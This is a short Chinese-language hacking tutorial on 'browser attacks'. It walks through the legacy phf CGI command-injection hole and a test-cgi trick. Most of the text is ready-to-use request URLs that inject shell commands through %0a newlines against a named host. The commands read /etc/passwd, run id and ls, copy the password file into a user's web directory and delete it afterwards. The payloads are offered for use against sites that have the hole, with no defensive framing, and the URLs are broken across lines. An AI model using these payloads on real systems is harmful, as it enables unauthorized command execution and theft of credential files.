浏览器攻击(1)
在本章我将讲述一些利用浏览器来进行攻击的方法 1。大家都知道了phf攻击了，phf是cgi script,很多站点都有这个大漏洞啦，使用 http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以 拿到那个站点的passwd.但还有些更好的执行方法呦如： http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna ;
me=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname= ; haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd ; %0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/~someuser/passwd ;http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname ;
=haqr&Qemail=&Qnickname=&Qoffice_phone= 上面执行的命令是 id ls -la ~someuser cp /etc/passwd ~someuser/passwd rm ~someuser/passwd
2。有关test攻击 http://thegnome.com/cgi-bin/test-cgi?\whatever
